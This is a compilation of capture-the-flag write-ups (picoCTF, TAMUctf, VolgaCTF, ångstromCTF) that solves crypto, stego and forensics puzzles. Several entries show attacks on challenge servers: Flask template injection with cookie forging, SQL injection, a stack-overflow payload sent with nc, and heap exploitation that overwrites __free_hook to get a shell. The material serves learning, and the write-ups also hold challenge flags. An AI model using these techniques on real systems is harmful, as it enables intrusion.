`picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
For this challenge, we are given the following string:egkyGGJ{Q3e_Xf_FshH3wf} The string looks like the correct length for the flag. We know the flag format is riftCTF{ so we can eliminate caesar cipher because C and T both encrypted to G. The hint tells us that it is a cipher with a key. The most obvious cipher with a key is vigenere. Now that we know it is vigenere, we need to figure out the key. The hint also includes a link to Louis Nyffenegger's LinkedIn page. The shortened url is http://bit.ly/l4stnam3 so the key is probably Louis' last name, Nyffenegger. We decode the vigenere and we find the flag. Flag: riftCTF{K3y_To_SucC3ss}
# RSAPWN Writeup ### Prompt We must train the next generation of hackers. `nc challenges.tamuctf.com 8573` ### Solution It looks like this just asks us to find the two "big prime" factors of the number provided, and return them. [Athos' script](exploit.py) does exactly that: ```bashpython3 ./exploit.py [+] Opening connection to challenges.tamuctf.com on port 8573: Doneb'We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (<= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.\n\nPress enter when you are ready.\n'num b'99981300873901'9999083 9999047b'Good job :)'b'gigem{g00d_job_yOu_h4aaxx0rrR}'b''``` Easy. ```gigem{g00d_job_yOu_h4aaxx0rrR}``` ~Athos, Lyell Read
### Notepad-- Connecting to the challenge gives the following menu:```Welcome to Notepad--Pick an existing notebook or create a new one[p]ick notebook[a]dd notebook[d]elete notebook[l]ist notebook[q]uit >``` In this challenge you can manage notebooks.This includes adding, deleting, and listing notebooks.Picking an added notebook results in the following menu: ```Operations with notebook "MyNotebook"[a]dd tab[v]iew tab[u]pdate tab[d]elete tab[l]ist tabs[q]uit >``` So, every Notebook can hold 'tabs'.We can add, view, change, and delete tabs in the selected notebook.Note that listing all notebooks prints their names while viewing a single notebook shows its contents. Let's load the binary in a decompiler and look at the datastructures.After adding some names you can come to the following structs: ```cstruct notebook { char name[16]; int64_t number_of_tabs; struct tab tabs[64];}; struct tab { char name[16]; int64_t c_size; char *content;};``` Thus, the sizes are `sizeof(struct tab) == 0x20` and `sizeof(struct notebook) == 0x818`.All notebooks are stored in an array `struct notebook notebooks[16]` in the bss segment.The content of a tab is stored in malloc'd memory and its size is kept in the `c_size` member. So far, so good. But where is the vulnerability?Looking at the function for adding a notebook you can see that the name of the notebook is read by `scanf("%s", buffer)`.Thus, you can easily overflow into the `number_of_tabs` member and change its value.By setting it to a large number, one is able to read and write out of the bounds of the tab array. Let's have a closer look at the memory layout.Since everything (except the tab content) is stored in a linear layout, overflowing the tab array results in access to the subsequent notebooks data (e.g. `notebooks[1]` is `notebooks[0].tab[64]`).Fortunatelly, the size of the notebook is not a multiple of the tab size, so this access is misaligned by 8 bytes.In the following graphic you can see that `notebooks[0].tab[65]` is no longer at the beginning of a tab but points in the middle of a tab name. ```notebooks[0] | +-----------> 0x0 +----------------+ | name | 0x8 +----------------+ | name |notebooks[0].tab[0] +----------------+ | | number_of_tabs | +----------> 0x18 +----------------+ -+ | tab[0].name | | +----------------+ | | tab[0].name | | +----------------+ | | tab[0].c_size | |notebooks[0].tab[1] +----------------+ | | | tab[0].content |-----> (malloc'd memory) | +----------> 0x38 +----------------+ | | tab[1].name | | +----------------+ | This part contains | tab[1].name | +- the 64 (0x40) tab structs +----------------+ | of notebooks[0] | tab[1].c_size | | +----------------+ | | tab[1].content |-----> (malloc'd memory) | 0x58 +----------------+ | | ... | | +----------------+ | | | | | | |notebooks[1] | | | | | | | +---------> 0x818 +----------------+ -+ | name | +----------------+ | name | +----------------+ | number_of_tabs |notebooks[0].tab[65] +----------------+ | | tab[0].name | +---------> 0x838 +----------------+ | tab[0].name | +----------------+ | tab[0].c_size | +----------------+ | tab[0].content |---->... (malloc'd memory)notebooks[0].tab[66] +----------------+ | | ... | +---------> 0x858 +----------------+ | |``` Going further, in `notebook[3]` this index points to the `content` member of the tabs.Therefore, we can first read that pointer in the `content` member to get a heap leak and then overwrite it (by updating the tab out of bounds) to get arbitrary read and write. For the heap leak let's create four notebooks:```notebook_add("A"*0x10 + "\xc4")notebook_add("B"*0x8)notebook_add("C"*0x8)notebook_add("D"*0x8)``` Note: Indices in user interaction are one-based, which is mapped to zero-based array access.In this writeup all indices are zero-based. The first notebook is now capable of accessing the contents of the subsequent notebooks.By adding a tab to `notebooks[3]` and listing all tabs of `notebooks[0]` we receive a heap address since the access to the name of `notebooks[0].tab[195]` results in the access of the `content` member of `notebooks[3].tab[0]`. The tab which was added to `notebooks[3]` in the previous step should have a content of length 8.This makes the implementation of arbitrary read and write easier since this is the size which will be passed to `read` and `write` syscalls later. Arbitrary read and write can now be implemented by updating the name of `notebooks[0].tab[195]` with the target address.This overwrites the `content` pointer of `notebooks[3].tab[0]` with the desired address.By viewing (arbitrary read) or updating (arbitrary write) `notebooks[3].tab[0]` we can now read or write the target address. Given these primitives it goes straight forward to starting a shell.By first adding and then removing a couple of tabs one can get a libc address to the heap.These tabs must be large enough to be added to `unsorted_bin`, e.g. size `0x100`.Also, there must be at least 8 tabs removed such that the `tcache` is filled and at least one tab is stored in an `unsorted_bin`.Then the chunk holds a pointer to libc and we can leak said libc pointer with the arbitrary read. Since the version of libc is not given, one must fingerprint the entries of `notepad`s `.got`.From the libc address we can retrieve a pointer to the binary itself.For this purpose we use a pointer to `notepad`s `stdin` or `stdout` which is located in `libc`s `.got`.Since said pointer is located close to our libc leak, even with a different libc version it is likely that we are able to extract the address of `notepad`.Given the address of `notepad`, one can get the `.got` entries of `notepad` and identify `libc`. Then one might overwrite the `__free_hook` with `system`, add a tab with `/bin/sh` as content and pop a shell by deleting the tab. Flag: `VolgaCTF{i5_g1ibc_mall0c_irr3p@rable?}`.
# 652AHS Challenge![1](https://user-images.githubusercontent.com/62826765/77844821-9ca5b400-71a1-11ea-8932-a0f7cfb2994c.png) First, we connect to the server : ![2](https://user-images.githubusercontent.com/62826765/77844857-f908d380-71a1-11ea-8681-1e2655d7832a.png) He says that we have to select an option. Let's select the first option "Enter password" : ![3](https://user-images.githubusercontent.com/62826765/77844942-92d08080-71a2-11ea-8a0a-e798d71139c8.png) So we have to enter a password to login, but we don't have any password !Then, let's try to reset it : ![4](https://user-images.githubusercontent.com/62826765/77845037-7c76f480-71a3-11ea-89d2-91e07c768897.png) So to prove our identity and reset the password, we have to answer the following 20 yes/no security questions. But are we going to bruteforce 2^20 possibilities ?! Naaah ofc not :D We try to send "Yes" or "No" to some questions, we notice that sometimes it doesn't take the same time to pass to the next question, it means that he is comparing the answer to something, which leads us to the Timing Attack ! (https://en.wikipedia.org/wiki/Timing_attack) If the answer is TRUE, he will take more time cause he will enter to a loop and compare all characters. If it's FALSE, he will break. Based on that, we can determine all the answers and set new password : ![5](https://user-images.githubusercontent.com/62826765/77845613-2bb5ca80-71a8-11ea-9dbd-31238bf48ba7.png) And BOOOOOM !! gigem{t1ck_t0ck_toCk_t111ck_tiCK_tockk}
# zurk (657 pts) 64bit ELF has a format string vulnerability with an infinite read/write loop. All protections were disabled (except ASLR) so we can execute shellcode. My idea was to write the shellcode in the .bss section byte by byte and then leak a stack address and calculate the address of the return pointer and overwrite it with the shellcode address. (solver attached)
# SIGMA Challenge ![0](https://user-images.githubusercontent.com/62826765/77846301-29a23a80-71ad-11ea-866c-953f38127112.png) We were given a long number :10320831141252164475480592397410881183128414021520157116851780189419421991209921942315241625302578269728072902300131153236334834643575368637343782389340044129 After analyzing it we found that the first 3 digits are the ASCII of "g", but the 3 next digits doesn't give us anything. We go back to the title, Sigma's symbol is the symbol of sum that we use in Maths. Hmmmm, so it's all about sum ! We do 208-103 = 105 which is the ASCII of "i" and 311-208 = 103 which is the ASCII of "g" ... So we write a script : ```pythonsigma = [103,208,311,412,521,644,754,805,923,974,1088,1183,1284,1402,1520,1571,1685,1780,1894,1942,1991,2099, 2194,2315,2416,2530,2578,2697,2807,2902,3001,3115,3236,3348,3464,3575,3686,3734,3782,3893,4004,4129] flag = chr(sigma[0])for i in range(len(sigma)-1): flag += chr(sigma[i+1]-sigma[i]) print flag``` And here we are : ![1](https://user-images.githubusercontent.com/62826765/77846626-450e4500-71af-11ea-9c88-9197163e0779.png) gigem{n3v3r_evv3r_r01l_yer0wn_cryptoo00oo}
# Russian Nesting Doll__Category__: Misc __Points__: 422 >Our monitoring systems noticed some funny-looking DNS traffic on one >of our computers. We have the network logs from around the time of >the incident. Want to take a look?>> Attachement: [netlogs.pcap](./netlogs.pcap) This challenge actually was a pain in the ass. You can break the pcap down into two parts:1. 38,120 DNS requests2. Some FTP communication The FTP communication is basically transferring a gpg [public-key](./pub.asc) and [private-key](./priv.asc) which belong to `Ol' Rock <[email protected]>`. #### Stage 0 and stage 1The DNS requests are all very similar. They consist of 58 base64 chars ending with `-tamu.1e100.net`. ![](./traffic.png) If we try to decode the base64 part of the first request we get:```$ echo LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IEdudVBHI | base64 -d 2>/dev/null-----BEGIN PGP MESSAGE-----Version: GnuPG``` So we can see that the base64 transmitted via the queries contains a GPG message.Using a [script](./parse.py) we can extracts all DNS requests from the pcapand save the base64 part to disk (one line in this file equals one packet from the pcap file). After decoding this it looks like we got a valid gpg message except for the following part:![](./garbage.png)So obviously something went wrong. Looking deeper into this we can see that the first line of the base64 input that converts to non-printable characters is a duplicate of the previous line.If we remove all duplicate lines from the file we get a valid gpg message (stage 1). #### Stage 2We can decrypt this with the keys we extracted previously and we get a gzip file. The password is the same password used in the FTP communication: `howdy`. #### Stage 3Unzipping the gzip file yields a tar file. #### Stage 4Extracting that tar archive yields 10 files ("...encoded", "....encoded", ".....encoded", ...).Running `file` over everything shows that 9/10 are garbage but one is a JPEG image. ```$ file .*enc*............encoded: ASCII text...........encoded: ASCII text..........encoded: ASCII text.........encoded: ASCII text........encoded: JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, progressive, precision 8, 909x663, components 3.......encoded: ASCII text......encoded: ASCII text.....encoded: ASCII text....encoded: ASCII text...encoded: ASCII text``` #### Stage 5The jpeg looks like this:![](./stage5.jpg)And we can see this at the end of the file:```0001c5c0: 0000 0000 0000 0000 0000 6831 8160 0000 ..........h1.`..0001c5d0: 0000 0000 0000 0000 6831 8160 0000 0000 ........h1.`....0001c5e0: 0000 0000 0000 6831 8160 0000 0000 0000 ......h1.`......0001c5f0: 0000 0000 6831 8160 0000 0000 0000 0000 ....h1.`........0001c600: 0000 6831 8160 0000 0000 0000 0000 0000 ..h1.`..........0001c610: 6831 8160 0000 0000 0000 0000 0000 6831 h1.`..........h10001c620: 8160 0000 0000 0000 0000 0000 6831 8160 .`..........h1.`0001c630: 0000 0000 0000 0000 0000 68ad 7ffe f91f ..........h.....0001c640: 6b47 4377 8903 9bdb 0000 0000 4945 4e44 kGCw........IEND0001c650: ae42 6082 .B`.```At the end of the JPEG image we find an end of an PNG image ("IEND"). Also binwalk tells us that there are actually two images in this file (the zlib compressed data probably belongs to the PNG image):```DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 JPEG image data, JFIF standard 1.0258784 0xE5A0 PNG image, 3760 x 492, 8-bit/color RGB, non-interlaced58875 0xE5FB Zlib compressed data, compressed``` #### Stage 6After extracting the PNG image from [stage5.jpg](./stage5.jpg) into [stage6.png](./stage6.png)we can finally see the flag:![](./stage6.png)
TLDR;- Server encrypts either a quadratic residue or a quadratic nonresidue using ElGamal- Challenges essentially requires us to determine whether or not the plaintext was a quadratic residue or a quadratic nonresidue- Use quadratic residue properties to determine the answer [writeup](https://jsur.in/posts/2020-03-30-volgactf-2020-qualifier-writeups#guess)
TLDR;- Tomcat running on the server is vulnerable to Ghostcat- There is a route that allows for file upload- This allows RCE [writeup](https://www.josephsurin.me/posts/2020-03-30-volgactf-2020-qualifier-writeups#netcorp)
# ångstromCTF 2020![ångstromCTF 2020](angstromCTF2020.png) ångstromCTF 2020 was really a great competition and we as [**P1rates**](https://2020.angstromctf.com/teams/6525) team enjoyed it and learned a lot, I participated as **T1m3-m4ch1n3** and Here's my writeup about what i solved. ## Challenges | Title | Category | Score || ---------------------------------- |:-------------------------------:| -----:|| [Keysar](#Keysar) | Crypto | 40 || [No Canary](#no-canary) | Binary Exploitation | 50 || [Revving Up](#revving-up) | Reversing | 50 || [Inputter](#inputter) | Misc | 100 || [msd](#msd) | Misc | 140 | --- ## Keysar#### Crypto (40 points) ### Description:> **Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.> He mumbled what cipher he used, but I think I have a clue.> Gotta go though, I have history homework!!> agqr{yue_stdcgciup_padas}** > *Hint: Keyed caesar, does that even exist??* ### solution: Well, as it's obvious from the title it has something to do with "Ceaser Cipher" and as the hint says "Keyed Ceaser" so i used this [site](http://rumkin.com/tools/cipher/caesar-keyed.php) to decrypt the flag given the key provided and BOOM! we got the flag! Flag: ``` actf{yum_delicious_salad} ``` --- ## No Canary#### Binary Exploitation (50 points) ### Description:> **Agriculture is the most healthful, most useful and most noble employment of man.> —George Washington> Can you call the flag function in this [program](No%20Canary/no_canary) ([source](No%20Canary/no_canary.c))? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.** > *Hint: What's dangerous about the gets function?* ### solution: The answer for the hint is simple .. It's "overflow"! .. gets function doesn't restrict the user input length and hence we can make an overflow given the address of flag() function to read the flag.txt! So to get the address of flag() function we will use gdb```$ gdb no_canary(gdb) set disassembly-flavor intel(gdb) info func0x0000000000401000 _init0x0000000000401030 puts@plt0x0000000000401040 setresgid@plt0x0000000000401050 system@plt0x0000000000401060 printf@plt0x0000000000401070 gets@plt0x0000000000401080 getegid@plt0x0000000000401090 setvbuf@plt0x00000000004010a0 _start0x00000000004010d0 _dl_relocate_static_pie0x00000000004010e0 deregister_tm_clones0x0000000000401110 register_tm_clones0x0000000000401150 __do_global_dtors_aux0x0000000000401180 frame_dummy0x0000000000401186 flag0x0000000000401199 main0x00000000004012e0 __libc_csu_init0x0000000000401350 __libc_csu_fini0x0000000000401358 _fini``` Nice! we got the address **0x00401186** .. Now we know that name variable is of size 20 so we need a payload > 20 to reach to rip register and put the address of flag() function in there. We need to see the main function:```(gdb) disas main . . 0x00000000004012ba <+289>: call 0x401070 <gets@plt> 0x00000000004012bf <+294>: lea rax,[rbp-0x20] . .```And then setting a breakpoint at **0x004012bf** right after call gets() function instruction:```(gdb) b *0x004012bf```We'll run the program using a payload of 20 "A"s letter:```(gdb) r <<< $(python -c "print 'A' * 20")```Now we hit the breakpoint, We also need to know the saved rip register value so we can detect it on the stack and optimize our payload to target it:```(gdb) info frameStack level 0, frame at 0x7fffffffe590: rip = 0x4012bf in main; saved rip = 0x7ffff7a5a2e1..```So our target is **0x7ffff7a5a2e1** .. Now by examining the stack:```(gdb) x/100x $rsp0x7fffffffe560: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe570: 0x41414141 0x00007f00 0x00000000 0x00002af80x7fffffffe580: .0x004012e0 0x00000000 0xf7a5a2e1 0x00007fff..```It's so clear that **0xf7a5a2e1 0x00007fff** is the saved rip register in little-endian and if we can replace it with the flag() function address which is **0x0000000000401186** we can change the flow of the program to print the flag! so our final payload will be:```(gdb) r <<< $(python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00'")```That was locally, and by applying it to **nc shell.actf.co 20700** it should give us the flag:```$ python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00' | nc shell.actf.co 20700``` Flag: ``` actf{that_gosh_darn_canary_got_me_pwned!} ``` --- ## Revving Up#### Reversing (50 points) ### Description:> **Clam wrote a [program](Revving%20Up/revving_up) for his school's cybersecurity club's first rev lecture!> Can you get it to give you the flag?> You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.** > *Hint: Try some google searches for "how to run a file in linux" or "bash for beginners".* ### solution:We go to the shell server and to the directory given we'll find 2 files flag.txt and revving_up And by: ```bash $ file revving_up ``` we know that it's ELF 64-bit and by running it:```$ ./revving_upCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes). ```After we type "give flag":```give flagGood job!Now run the program with a command line argument of "banana" and you'll be done!```So we do as it's said:```$ ./revving_up bananaCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes).give flagGood job!Well I think it's about time you got the flag!actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}```So easy, right ?!! Flag: ``` actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh} ``` --- ## Inputter#### Misc (100 points) ### Description:> **Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in [a challenge](Inputter/inputter). Can you satisfy his knack for strange and hard-to-input characters? [Source](Inputter/inputter.c).> Find it on the shell server at /problems/2020/inputter/.** > *Hint: There are ways to run programs without using the shell.* ### solution:By looking at the source we find interesting conditions:```cint main(int argc, char* argv[]) { setvbuf(stdout, NULL, _IONBF, 0); if (argc != 2) { puts("Your argument count isn't right."); return 1; } if (strcmp(argv[1], " \n'\"\x07")) { puts("Your argument isn't right."); return 1; } char buf[128]; fgets(buf, 128, stdin); if (strcmp(buf, "\x00\x01\x02\x03\n")) { puts("Your input isn't right."); return 1; } puts("You seem to know what you're doing."); print_flag();}```So now we know that:1. There's an argument we must provide when running the file2. The argument value must be ```" \n'\"\x07"``` *(without the quotes)*3. There's an input of value ```"\x00\x01\x02\x03\n"``` *(without the quotes)* I encoded the argument to hex so it became: ``` \x20\x0a\x27\x22\x07 ```*(the backslash \ before " is just to escape the character in the C source)* .. I tried many methods but the easier one to pass this value as argument is using the ```$''``` quote style .. for the input we can use either ``` echo -e ``` or ``` printf ``` the both commands do the same job .. now our full command is:```bash$ printf '\x00\x01\x02\x03\n' | ./inputter $'\x20\x0a\x27\x22\x07'You seem to know what you're doing.actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}``` Flag: ``` actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} ``` --- ## msd#### Misc (140 points) ### Description:> **You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the [Most Significant Digit](msb/public.py). Can you still power through it?Here's the [encoded image](msb/output.png), and here's the [original image](msb/breathe.jpg), for the... well, you'll see.Important: Don't use Python 3.8, use an older version of Python 3!** > *Hint: Look at the difference between the original and what I created!> Also, which way does LSB work?* ### solution:Nice, so before anything .. we have an original photo ```breathe.jpg```:![original image](msb/breathe.jpg) that has been encoded to ```output.png```:![encoded image](msb/output.png) using ```public.py``` script:```pythonfrom PIL import Image im = Image.open('breathe.jpg')im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT"flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png")pixels = im.load()``` By reading the script provided we conclude:1. flag variable has the decimal values of the characters of the flag ```(ex: "abc" -> "979899")```2. the for loop reads the pixels from top to bottom for each column in the photo starting from top left3. the first pixel in the photo it's first digit from the left "MSD" is replaced with the first digit from the left in the flag variable and the second pixel with the second digit in the flag, etc.. until the flag decimal values ends and then it starts over from the beggining of the flag, etc.. So if the pixel is ``` 104 ``` and the digit from flag decimal representition is ```2``` the pixel becomes ``` 204 ``` But there's a problem .. if the digit is 9 the pixel can not be ``` 904 ``` because the most value that can be stored to the pixel is ```255``` so in this case this digit is lost ... So the reversing of the code will be as follows:1. read the pixels of ``` output.png ```and ``` breathe.jpg ``` in the same direction as in the encryption process2. for each corresponding pixels compare the pixel of ```output.png``` with the pixel of ``` breathe.jpg ``` - if the 2 pixels have the same length AND the encrypted pixel is not equal 255, then get the first digit from left of the encrypted pixel (ex: 104, 204 -> 2) - if the length of the encrypted pixel is less than the length of the original pixel, then put a zero (ex: 123, 23 -> 0) - else then it's a lost digit and put 'x' to recognize it I wrote a script that can iterate through the whole image and do this decryption process: ```pythonfrom PIL import Image imorg = Image.open("breathe.jpg")im = Image.open('output.png') width, height = im.size def getchar(a, b): char = [] # to iterate through the RGB values of the one pixel for i in range(0, 3): x = list(str(a[i])) y = list(str(b[i])) if len(x) == len(y) and b[i] != 255: char.append(y[0]) elif len(y) < len(x): char.append('0') else: char.append('x') return ''.join(char) all = '' for j in range(height): for i in range(width): all += getchar(imorg.getpixel((i, j)), im.getpixel((i, j))) # since we know the first 5 letters of the flag "actf{" -> "9799116102123"pos = all.find('9799116102123')print(all[pos:pos+100])``` Now be running it:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810x10x103121104xxxx1x11```I used this [site](https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html) to decrypt the result after seperating the digits manually and the result was ``` actf{inhale_exhale_ezpz-12309b ``` .. it seems we got only a part of the flag but there are lost bits .. so we need to add the following couple of lines in our python script to print the next occurence of the flag```pythonpos = all.find('9799116102123')posnext = all.find('9799116', pos+1)print(all[posnext:posnext+100])```And by running again:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810510310312110497981211```Great! There are no lost bits .. Now decrypting again using the same site and yeah, we got the flag! Flag: ``` actf{inhale_exhale_ezpz-12309biggyhaby} ```
# WOOF_WOOF Writeup ### Prompt (I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() The instructions mentioned charset A-Z and '-' and '@', with flag format `GIGEM-...`. [reveille.png](reveille.png) ### Solution After running strings on the image to no result, we open this image up in [stegsolve](https://github.com/zardus/ctf-tools/tree/master/stegsolve), and examine the file format `Analyze` > `File Format`. We see the usual stuff, except for: ```Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: ..woof w oof bark ruff ba rk bark ruff woo f woof b ark ruff bark ru ff woof woof ruf f woof b ark bark bark ba rk woof ruff woo f bark b ark ruff woof wo of woof woof woo f ruff w oof woof bark ru ff woof ruff bar k woof w oof bark woof ba rk ruff bark bar k bark r uff woof ruff ba rk woof woof woo f woof r uff woof bark wo of bark ruff bar k woof w oof woof ruff wo of woof woof woo f woof r uff woof bark ba rk bark ruff woo f bark 